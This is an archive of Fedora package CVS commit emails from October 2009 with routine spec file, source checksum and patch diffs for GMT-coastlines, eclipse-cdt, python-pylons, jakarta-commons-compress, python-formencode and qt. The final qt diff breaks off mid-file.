+++ .cvsignore	16 Oct 2009 22:01:39 -0000	1.4
@@ -1,3 +1,3 @@
-GSHHS1.10_coast.tar.bz2
-GSHHS1.10_full.tar.bz2
-GSHHS1.10_high.tar.bz2
+GSHHS2.0.1_coast.tar.bz2
+GSHHS2.0.1_full.tar.bz2
+GSHHS2.0.1_high.tar.bz2


Index: GMT-coastlines.spec
===================================================================
RCS file: /cvs/pkgs/rpms/GMT-coastlines/F-11/GMT-coastlines.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- GMT-coastlines.spec	21 Jul 2009 22:04:56 -0000	1.6
+++ GMT-coastlines.spec	16 Oct 2009 22:01:39 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           GMT-coastlines
-Version:        2.0
+Version:        2.0.1
 Release:        1%{?dist}
 Summary:        Coastline data for GMT
 
@@ -73,7 +73,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING README.gshhs
+%doc LICENSE.TXT README.TXT
 %dir %{_datadir}/GMT/coast
 %{_datadir}/GMT/coast/*_[cil].cdf
 
@@ -90,6 +90,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Orion Poplawski <orion at cora.nwra.com> 2.0.1-1
+- Update to 2.0.1
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Jul 17 2009 Orion Poplawski <orion at cora.nwra.com> 2.0-1
 - Update to 2.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/GMT-coastlines/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	21 Jul 2009 22:04:56 -0000	1.5
+++ sources	16 Oct 2009 22:01:40 -0000	1.6
@@ -1,3 +1,3 @@
-23ccee4b943ef1fc35ddc03b91b55521  GSHHS2.0_coast.tar.bz2
-fc5a70acf663c402b3dfc5a951b29244  GSHHS2.0_full.tar.bz2
-930ddfd9d576d75079455df4240b7a3a  GSHHS2.0_high.tar.bz2
+75a1e1e04b473699eee3a31c89b8dbfa  GSHHS2.0.1_coast.tar.bz2
+dbffea06d9ccf2899a9788dfac99c387  GSHHS2.0.1_full.tar.bz2
+0e1855e73bb079ab1879dd24895e99e9  GSHHS2.0.1_high.tar.bz2



From jjohnstn at fedoraproject.org  Fri Oct 16 22:03:16 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Fri, 16 Oct 2009 22:03:16 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-12 eclipse-cdt-autotools-local.patch, NONE,
	1.1 .cvsignore, 1.47, 1.48 eclipse-cdt.spec, 1.136,
	1.137 sources, 1.57, 1.58
Message-ID: <20091016220316.7E29D11C00E5@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19641

Modified Files:
	.cvsignore eclipse-cdt.spec sources 
Added Files:
	eclipse-cdt-autotools-local.patch 
Log Message:

* Fri Oct 16 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-4
- Rebase Autotools to 1.0.5.
- Add patch to move macro hover docs locally into Autotools plugin.



eclipse-cdt-autotools-local.patch:
 build.properties |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE eclipse-cdt-autotools-local.patch ---
diff -up ./org.eclipse.linuxtools.cdt.autotools/build.properties.fix ./org.eclipse.linuxtools.cdt.autotools/build.properties
--- ./org.eclipse.linuxtools.cdt.autotools/build.properties.fix	2009-10-16 16:20:57.126201920 -0400
+++ ./org.eclipse.linuxtools.cdt.autotools/build.properties	2009-10-16 16:21:32.342201408 -0400
@@ -5,6 +5,7 @@ bin.includes = plugin.xml,\
                .,\
                icons/,\
                html/,\
+               macros/,\
                plugin.properties,\
                templates/
 


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/.cvsignore,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- .cvsignore	9 Oct 2009 21:27:43 -0000	1.47
+++ .cvsignore	16 Oct 2009 22:03:15 -0000	1.48
@@ -32,3 +32,10 @@ libstdc++-v3.libhover
 glibc-2.7-2.libhover
 eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
 eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2
+eclipse-cdt-fetched-src-autotools-v200910161608.tar.gz
+acmacros-2.13.xml
+acmacros-2.59.xml
+acmacros-2.61.xml
+ammacros-1.4-p6.xml
+ammacros-1.9.5.xml
+ammacros-1.9.6.xml


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/eclipse-cdt.spec,v
retrieving revision 1.136
retrieving revision 1.137
diff -u -p -r1.136 -r1.137
--- eclipse-cdt.spec	15 Oct 2009 20:05:35 -0000	1.136
+++ eclipse-cdt.spec	16 Oct 2009 22:03:15 -0000	1.137
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        3%{?dist}
+Release:        4%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -36,7 +36,7 @@ Requires:       eclipse-platform
 Source0: %{name}-fetched-src-CDT_6_0_1.tar.bz2
 Source4: fetch-cdt.sh
 
-Source1: http://sources.redhat.com/eclipse/autotools/eclipse-cdt-fetched-src-autotools-v200907241319.tar.gz
+Source1: http://sources.redhat.com/eclipse/autotools/eclipse-cdt-fetched-src-autotools-v200910161608.tar.gz
 
 Source2: http://sources.redhat.com/eclipse/autotools/eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
 
@@ -58,6 +58,14 @@ Source5: %{name}-runtests.sh
 Source6: glibc-2.7-2.libhover
 Source7: libstdc++-v3.libhover
 
+# Autotools docs to place locally
+Source8: acmacros-2.13.xml
+Source9: acmacros-2.59.xml
+Source10: acmacros-2.61.xml
+Source11: ammacros-1.4-p6.xml
+Source12: ammacros-1.9.5.xml
+Source13: ammacros-1.9.6.xml
+
 ## Patch to cppunit code to support double-clicking on file names, classes, and
 ## member names in the Hierarchy and Failure views such that the appropriate
 ## file will be opened and the appropriate line will be selected.
@@ -102,6 +110,10 @@ Patch17: %{name}-ppc64-add_xopen_source-
 # https://bugs.eclipse.org/bugs/show_bug.cgi?id=291690
 Patch18: %{name}-discoverytab.patch
 
+# Following is a patch to autotools to supply macro hover docs locally
+# in the plugin.
+Patch19: %{name}-autotools-local.patch
+
 BuildRequires: eclipse-pde
 BuildRequires: eclipse-mylyn >= 3.0
 BuildRequires: eclipse-rse >= 3.0
@@ -212,6 +224,18 @@ popd
 mkdir autotools
 pushd autotools
 tar -xzf %{SOURCE1}
+%patch19 -p0
+pushd org.eclipse.linuxtools.cdt.autotools
+mkdir macros
+pushd macros
+cp %{SOURCE8} .
+cp %{SOURCE9} .
+cp %{SOURCE10} .
+cp %{SOURCE11} .
+cp %{SOURCE12} .
+cp %{SOURCE13} .
+popd
+popd
 popd
 
 ## Libhover stuff
@@ -329,7 +353,7 @@ java -cp $SDK/startup.jar \
      -DjavacTarget=1.5 \
      -Duser.home=$homedir                        \
      -Dtype=feature                                    \
-     -Did=org.eclipse.linuxtools.cdt.autotools.feature \
+     -Did=org.eclipse.linuxtools.cdt.autotools \
      -DsourceDirectory=$(pwd)                          \
      -DbaseLocation=$SDK                               \
      -Dbuilder=$PDEDIR/templates/package-build  \
@@ -405,7 +429,7 @@ done 
 
 # Autotools install
 pushd autotools
-unzip -qq -d $installDir build/rpmBuild/org.eclipse.linuxtools.cdt.autotools.feature.zip
+unzip -qq -d $installDir build/rpmBuild/org.eclipse.linuxtools.cdt.autotools.zip
 popd
 
 # Libhover install
@@ -599,6 +623,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Fri Oct 16 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-4
+- Rebase Autotools to 1.0.5.
+- Add patch to move macro hover docs locally into Autotools plugin.
+
 * Thu Oct 15 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-3
 - Include installed link for lpg java bundle in new cdt-parsers subpackage.
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/sources,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- sources	14 Oct 2009 19:34:07 -0000	1.57
+++ sources	16 Oct 2009 22:03:15 -0000	1.58
@@ -1,7 +1,13 @@
 5c470fb0777d27541edbfa31443d91f7  eclipse-cdt-cppunit-20061102.tar.gz
 2d4ae0a2131ba1efc896d981072cc091  eclipse-cdt-target_filter.gif.gz
-6cfdaee7d8ca1c14359225f7393e46ae  eclipse-cdt-fetched-src-autotools-v200907241319.tar.gz
 921f3464c4b5a284473ebdad634e5c2d  libstdc++-v3.libhover
 4bccad3ee92faaca4f8dc3ac6941434e  glibc-2.7-2.libhover
 2dbeff80a9c053b2888940a30f62d3f2  eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
 62e2dcbf8fb1f1b23cc71ae762b873b8  eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2
+b273bf4bd39f9effb1cdf7e4cc68a1f0  eclipse-cdt-fetched-src-autotools-v200910161608.tar.gz
+992ad18bb8b4d95e5ecab9138dc379ae  acmacros-2.13.xml
+5bcf3e0c2a780b237bb06226eda7a4e7  acmacros-2.59.xml
+0e096b343447578000c73002dc448afa  acmacros-2.61.xml
+4404043432f7f30300139ce39288ba93  ammacros-1.4-p6.xml
+f6edf5299e6f0d89017bd295a296c2cd  ammacros-1.9.5.xml
+f5c671311f49cdb33eaaa64ab6d781fa  ammacros-1.9.6.xml



From jjohnstn at fedoraproject.org  Fri Oct 16 22:04:44 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Fri, 16 Oct 2009 22:04:44 +0000 (UTC)
Subject: rpms/eclipse-cdt/devel eclipse-cdt-autotools-local.patch, NONE,
	1.1 .cvsignore, 1.47, 1.48 eclipse-cdt.spec, 1.137,
	1.138 sources, 1.57, 1.58
Message-ID: <20091016220444.CC06E11C00E5@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20062

Modified Files:
	.cvsignore eclipse-cdt.spec sources 
Added Files:
	eclipse-cdt-autotools-local.patch 
Log Message:

* Fri Oct 16 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-4
- Rebase Autotools to 1.0.5.
- Add patch to move macro hover docs locally into Autotools plugin.



eclipse-cdt-autotools-local.patch:
 build.properties |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE eclipse-cdt-autotools-local.patch ---
diff -up ./org.eclipse.linuxtools.cdt.autotools/build.properties.fix ./org.eclipse.linuxtools.cdt.autotools/build.properties
--- ./org.eclipse.linuxtools.cdt.autotools/build.properties.fix	2009-10-16 16:20:57.126201920 -0400
+++ ./org.eclipse.linuxtools.cdt.autotools/build.properties	2009-10-16 16:21:32.342201408 -0400
@@ -5,6 +5,7 @@ bin.includes = plugin.xml,\
                .,\
                icons/,\
                html/,\
+               macros/,\
                plugin.properties,\
                templates/
 


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/.cvsignore,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- .cvsignore	9 Oct 2009 20:45:34 -0000	1.47
+++ .cvsignore	16 Oct 2009 22:04:42 -0000	1.48
@@ -32,3 +32,10 @@ libstdc++-v3.libhover
 glibc-2.7-2.libhover
 eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
 eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2
+eclipse-cdt-fetched-src-autotools-v200910161608.tar.gz
+acmacros-2.13.xml
+acmacros-2.59.xml
+acmacros-2.61.xml
+ammacros-1.4-p6.xml
+ammacros-1.9.5.xml
+ammacros-1.9.6.xml


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/eclipse-cdt.spec,v
retrieving revision 1.137
retrieving revision 1.138
diff -u -p -r1.137 -r1.138
--- eclipse-cdt.spec	15 Oct 2009 20:07:04 -0000	1.137
+++ eclipse-cdt.spec	16 Oct 2009 22:04:42 -0000	1.138
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        3%{?dist}
+Release:        4%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -36,7 +36,7 @@ Requires:       eclipse-platform
 Source0: %{name}-fetched-src-CDT_6_0_1.tar.bz2
 Source4: fetch-cdt.sh
 
-Source1: http://sources.redhat.com/eclipse/autotools/eclipse-cdt-fetched-src-autotools-v200907241319.tar.gz
+Source1: http://sources.redhat.com/eclipse/autotools/eclipse-cdt-fetched-src-autotools-v200910161608.tar.gz
 
 Source2: http://sources.redhat.com/eclipse/autotools/eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
 
@@ -58,6 +58,14 @@ Source5: %{name}-runtests.sh
 Source6: glibc-2.7-2.libhover
 Source7: libstdc++-v3.libhover
 
+# Autotools docs to place locally
+Source8: acmacros-2.13.xml
+Source9: acmacros-2.59.xml
+Source10: acmacros-2.61.xml
+Source11: ammacros-1.4-p6.xml
+Source12: ammacros-1.9.5.xml
+Source13: ammacros-1.9.6.xml
+
 ## Patch to cppunit code to support double-clicking on file names, classes, and
 ## member names in the Hierarchy and Failure views such that the appropriate
 ## file will be opened and the appropriate line will be selected.
@@ -102,6 +110,10 @@ Patch17: %{name}-ppc64-add_xopen_source-
 # https://bugs.eclipse.org/bugs/show_bug.cgi?id=291690
 Patch18: %{name}-discoverytab.patch
 
+# Following is a patch to autotools to supply macro hover docs locally
+# in the plugin.
+Patch19: %{name}-autotools-local.patch
+
 BuildRequires: eclipse-pde
 BuildRequires: eclipse-mylyn >= 3.0
 BuildRequires: eclipse-rse >= 3.0
@@ -212,6 +224,18 @@ popd
 mkdir autotools
 pushd autotools
 tar -xzf %{SOURCE1}
+%patch19 -p0
+pushd org.eclipse.linuxtools.cdt.autotools
+mkdir macros
+pushd macros
+cp %{SOURCE8} .
+cp %{SOURCE9} .
+cp %{SOURCE10} .
+cp %{SOURCE11} .
+cp %{SOURCE12} .
+cp %{SOURCE13} .
+popd
+popd
 popd
 
 ## Libhover stuff
@@ -329,7 +353,7 @@ java -cp $SDK/startup.jar \
      -DjavacTarget=1.5 \
      -Duser.home=$homedir                        \
      -Dtype=feature                                    \
-     -Did=org.eclipse.linuxtools.cdt.autotools.feature \
+     -Did=org.eclipse.linuxtools.cdt.autotools \
      -DsourceDirectory=$(pwd)                          \
      -DbaseLocation=$SDK                               \
      -Dbuilder=$PDEDIR/templates/package-build  \
@@ -405,7 +429,7 @@ done 
 
 # Autotools install
 pushd autotools
-unzip -qq -d $installDir build/rpmBuild/org.eclipse.linuxtools.cdt.autotools.feature.zip
+unzip -qq -d $installDir build/rpmBuild/org.eclipse.linuxtools.cdt.autotools.zip
 popd
 
 # Libhover install
@@ -599,6 +623,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Fri Oct 16 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-4
+- Rebase Autotools to 1.0.5.
+- Add patch to move macro hover docs locally into Autotools plugin.
+
 * Thu Oct 15 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-3
 - Include installed link for lpg java bundle in new cdt-parsers subpackage.
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/sources,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- sources	14 Oct 2009 19:35:31 -0000	1.57
+++ sources	16 Oct 2009 22:04:42 -0000	1.58
@@ -1,7 +1,13 @@
 5c470fb0777d27541edbfa31443d91f7  eclipse-cdt-cppunit-20061102.tar.gz
 2d4ae0a2131ba1efc896d981072cc091  eclipse-cdt-target_filter.gif.gz
-6cfdaee7d8ca1c14359225f7393e46ae  eclipse-cdt-fetched-src-autotools-v200907241319.tar.gz
 921f3464c4b5a284473ebdad634e5c2d  libstdc++-v3.libhover
 4bccad3ee92faaca4f8dc3ac6941434e  glibc-2.7-2.libhover
 2dbeff80a9c053b2888940a30f62d3f2  eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
 62e2dcbf8fb1f1b23cc71ae762b873b8  eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2
+b273bf4bd39f9effb1cdf7e4cc68a1f0  eclipse-cdt-fetched-src-autotools-v200910161608.tar.gz
+992ad18bb8b4d95e5ecab9138dc379ae  acmacros-2.13.xml
+5bcf3e0c2a780b237bb06226eda7a4e7  acmacros-2.59.xml
+0e096b343447578000c73002dc448afa  acmacros-2.61.xml
+4404043432f7f30300139ce39288ba93  ammacros-1.4-p6.xml
+f6edf5299e6f0d89017bd295a296c2cd  ammacros-1.9.5.xml
+f5c671311f49cdb33eaaa64ab6d781fa  ammacros-1.9.6.xml



From lmacken at fedoraproject.org  Fri Oct 16 22:07:58 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri, 16 Oct 2009 22:07:58 +0000 (UTC)
Subject: rpms/python-pylons/EL-5 python-pylons.spec,1.7,1.8
Message-ID: <20091016220758.A4A1711C00E5@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-pylons/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20709

Modified Files:
	python-pylons.spec 
Log Message:
Run the test suite using the setup.py


Index: python-pylons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-pylons/EL-5/python-pylons.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- python-pylons.spec	14 Oct 2009 01:14:25 -0000	1.7
+++ python-pylons.spec	16 Oct 2009 22:07:57 -0000	1.8
@@ -2,7 +2,7 @@
 
 Name: python-pylons
 Version: 0.9.7
-Release: 3%{?dist}
+Release: 4%{?dist}
 Summary: Pylons web framework
 
 Group: Development/Languages
@@ -67,7 +67,7 @@ rm -rf %{buildroot}
 
 
 %check
-PYTHONPATH=$(pwd) nosetests -v
+PYTHONPATH=$(pwd) python setup.py test
 
 
 %clean
@@ -81,8 +81,11 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Luke Macken <lmacken at redhat.com> - 0.9.7-4
+- Run the test suite using the setup.py
+
 * Tue Oct 13 2009 Luke Macken <lmacken at redhat.com> - 0.9.7-3
-- Require python-decorator3
+- Require the python-decorator3 package
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From red at fedoraproject.org  Fri Oct 16 22:10:24 2009
From: red at fedoraproject.org (Sandro Mathys)
Date: Fri, 16 Oct 2009 22:10:24 +0000 (UTC)
Subject: rpms/jakarta-commons-compress/F-10 jakarta-commons-compress.spec,
	1.2, 1.3
Message-ID: <20091016221024.B26A111C02A2@cvs1.fedora.phx.redhat.com>

Author: red

Update of /cvs/pkgs/rpms/jakarta-commons-compress/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21608

Modified Files:
	jakarta-commons-compress.spec 
Log Message:
* Fri Oct 16 2009 Sandro Mathys <red at fedoraproject.org> - 1.0-1
- New version




Index: jakarta-commons-compress.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-10/jakarta-commons-compress.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- jakarta-commons-compress.spec	16 Oct 2009 21:44:08 -0000	1.2
+++ jakarta-commons-compress.spec	16 Oct 2009 22:10:24 -0000	1.3
@@ -1,16 +1,13 @@
 %define shortname commons-compress
-%define snapshot 20081205
-%define revision 727209
 
 Name:           jakarta-%{shortname}
-Version:        0
-Release:        0.1.%{snapshot}svn%{revision}%{?dist}
+Version:        1.0
+Release:        1%{?dist}
 Summary:        Java API for working with tar, zip and bzip2 files
 Group:          Development/Libraries
 License:        ASL 2.0
-URL:            http://commons.apache.org/sandbox/compress/
-# svn checkout http://svn.apache.org/repos/asf/commons/sandbox/compress/trunk commons-compress
-Source0:        %{name}.tar.bz2
+URL:            http://commons.apache.org/compress/
+Source0:        http://www.apache.org/dist/commons/compress/source/%{shortname}-%{version}-src.tar.gz
 BuildArch:      noarch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -86,5 +83,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Sandro Mathys <red at fedoraproject.org> - 1.0-1
+- New version
+
 * Wed Dec 17 2008 Sandro Mathys <red at fedoraproject.org> - 0-0.1.20081205svn727209
 - initial build



From lmacken at fedoraproject.org  Fri Oct 16 22:28:30 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri, 16 Oct 2009 22:28:30 +0000 (UTC)
Subject: rpms/python-formencode/EL-5 python-formencode.spec,1.18,1.19
Message-ID: <20091016222831.0637A11C00E5@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-formencode/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26704

Modified Files:
	python-formencode.spec 
Log Message:
* Sun May 31 2009 Luke Macken <lmacken at redhat.com> -1.2.2-1
- Update to 1.2.2
- Conditionalize python-elementtree requirement

* Tue Jan 06 2009 Luke Macken <lmacken at redhat.com> - 1.2-1
- Update to 1.2
- Run the test suite
- Remove formencode-translations-system.patch




Index: python-formencode.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-formencode/EL-5/python-formencode.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- python-formencode.spec	29 Aug 2008 01:10:26 -0000	1.18
+++ python-formencode.spec	16 Oct 2009 22:28:30 -0000	1.19
@@ -4,7 +4,7 @@
 %define srcname FormEncode
 
 Name:           python-formencode
-Version:        1.0.1
+Version:        1.2.2
 Release:        2%{?dist}
 Summary:        HTML form validation, generation, and convertion package  
 
@@ -12,7 +12,6 @@ Group:          Development/Libraries
 License:        Python
 URL:            http://formencode.org/
 Source0:        http://cheeseshop.python.org/packages/source/F/%{srcname}/%{srcname}-%{version}.tar.gz
-Patch0:         formencode-translations-system.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildArch:      noarch
@@ -21,7 +20,14 @@ Requires: python-setuptools
 BuildRequires: python-devel
 BuildRequires: python-setuptools-devel
 BuildRequires: python-docutils
+BuildRequires: python-nose
 
+# ElementTree is part of python2.5 on FC7+
+# This is also needed for EL-5
+%if 0%{?fedora} <= 6
+BuildRequires:   python-elementtree
+Requires:   python-elementtree
+%endif
 
 %description
 FormEncode validates and converts nested structures. It allows for a 
@@ -30,7 +36,6 @@ for filling and generating forms.
 
 %prep
 %setup -q -n %{srcname}-%{version}
-%patch0 -p1 -b .locale
 
 %build
 %{__python} setup.py build
@@ -65,6 +70,8 @@ rm -rf $RPM_BUILD_ROOT%{python_sitelib}/
 %clean
 rm -rf $RPM_BUILD_ROOT
 
+%check
+PYTHONPATH=$(pwd) nosetests
 
 %files -f %{srcname}.lang
 %defattr(-,root,root,-)
@@ -73,6 +80,15 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{srcname}-%{version}-py%{pyver}.egg-info
 
 %changelog
+* Sun May 31 2009 Luke Macken <lmacken at redhat.com> -1.2.2-1
+- Update to 1.2.2
+- Conditionalize python-elementtree requirement
+
+* Tue Jan 06 2009 Luke Macken <lmacken at redhat.com> - 1.2-1
+- Update to 1.2
+- Run the test suite
+- Remove formencode-translations-system.patch
+
 * Thu Aug 28 2008 Toshio Kuratomi <toshio at fedoraproject.org> 1.0.1-2
 - Clean up license tag
 - Fix executable in %%doc



From lmacken at fedoraproject.org  Fri Oct 16 22:42:39 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri, 16 Oct 2009 22:42:39 +0000 (UTC)
Subject: rpms/python-formencode/EL-5 .cvsignore,1.8,1.9 sources,1.8,1.9
Message-ID: <20091016224239.29B2911C00E5@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-formencode/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30092

Modified Files:
	.cvsignore sources 
Log Message:
Add the sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-formencode/EL-5/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	28 Aug 2008 17:37:54 -0000	1.8
+++ .cvsignore	16 Oct 2009 22:42:37 -0000	1.9
@@ -1 +1 @@
-FormEncode-1.0.1.tar.gz
+FormEncode-1.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-formencode/EL-5/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	28 Aug 2008 17:37:54 -0000	1.8
+++ sources	16 Oct 2009 22:42:37 -0000	1.9
@@ -1 +1 @@
-544e3fd5d9ff8bb6532e1c6f176e7a0d  FormEncode-1.0.1.tar.gz
+da23d54af521d1feab12b4caf30e3111  FormEncode-1.2.2.tar.gz



From rdieter at fedoraproject.org  Fri Oct 16 23:00:15 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 16 Oct 2009 23:00:15 +0000 (UTC)
Subject: rpms/qt/devel qt-everywhere-opensource-src-4.6.0-beta1-qdoc3.patch, 
	NONE, 1.1 qt.spec, 1.346,
	1.347 qt-x11-opensource-src-4.5.0-qdoc3.patch, 1.2, NONE
Message-ID: <20091016230015.2F52F11C02A2@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5423

Modified Files:
	qt.spec 
Added Files:
	qt-everywhere-opensource-src-4.6.0-beta1-qdoc3.patch 
Removed Files:
	qt-x11-opensource-src-4.5.0-qdoc3.patch 
Log Message:
* Fri Oct 16 2009 Than Ngo <than at redhat.com> - 4.6.0-0.2.beta1 
- subpackage sqlite plugin, add Require on qt-sqlite in qt-x11
  for assistant
- build/install qdoc3 again


qt-everywhere-opensource-src-4.6.0-beta1-qdoc3.patch:
 qdoc3/qdoc3.pro |    3 +++
 tools.pro       |    1 +
 2 files changed, 4 insertions(+)

--- NEW FILE qt-everywhere-opensource-src-4.6.0-beta1-qdoc3.patch ---
diff -up qt-everywhere-opensource-src-4.6.0-beta1/tools/qdoc3/qdoc3.pro.qdoc3 qt-everywhere-opensource-src-4.6.0-beta1/tools/qdoc3/qdoc3.pro
--- qt-everywhere-opensource-src-4.6.0-beta1/tools/qdoc3/qdoc3.pro.qdoc3	2009-10-13 10:34:08.000000000 -0500
+++ qt-everywhere-opensource-src-4.6.0-beta1/tools/qdoc3/qdoc3.pro	2009-10-16 14:55:27.024789581 -0500
@@ -105,3 +105,6 @@ SOURCES += apigenerator.cpp \
            webxmlgenerator.cpp \
 	   yyindent.cpp
 
+TARGET= qdoc3
+target.path = $$[QT_INSTALL_BINS]
+INSTALLS += target
diff -up qt-everywhere-opensource-src-4.6.0-beta1/tools/tools.pro.qdoc3 qt-everywhere-opensource-src-4.6.0-beta1/tools/tools.pro
--- qt-everywhere-opensource-src-4.6.0-beta1/tools/tools.pro.qdoc3	2009-10-13 10:34:08.000000000 -0500
+++ qt-everywhere-opensource-src-4.6.0-beta1/tools/tools.pro	2009-10-16 14:57:49.699789384 -0500
@@ -14,6 +14,7 @@ no-png {
          SUBDIRS += designer
      }
      SUBDIRS     += linguist
+     SUBDIRS     += qdoc3
      symbian: SUBDIRS = designer
      wince*: SUBDIRS = qtestlib designer
      unix:!mac:!embedded:contains(QT_CONFIG, qt3support):SUBDIRS += qtconfig


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.346
retrieving revision 1.347
diff -u -p -r1.346 -r1.347
--- qt.spec	14 Oct 2009 20:12:03 -0000	1.346
+++ qt.spec	16 Oct 2009 23:00:14 -0000	1.347
@@ -14,7 +14,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.6.0
-Release: 0.1.%{pre}%{?dist}
+Release: 0.2.%{pre}%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -54,7 +54,7 @@ Patch23: qt-x11-opensource-src-4.5.3-jav
 
 ## upstreamable bits
 # http://bugzilla.redhat.com/485677
-Patch51: qt-x11-opensource-src-4.5.0-qdoc3.patch
+Patch51: qt-everywhere-opensource-src-4.6.0-beta1-qdoc3.patch 
 Patch52: qt-4.5-sparc64.patch
 # fix invalid inline assembly in qatomic_{i386,x86_64}.h (de)ref implementations
 Patch53: qt-x11-opensource-src-4.5.0-fix-qatomic-inline-asm.patch
@@ -188,10 +188,6 @@ Obsoletes: qgtkstyle < 0.1
 Provides:  qgtkstyle = 0.1-1
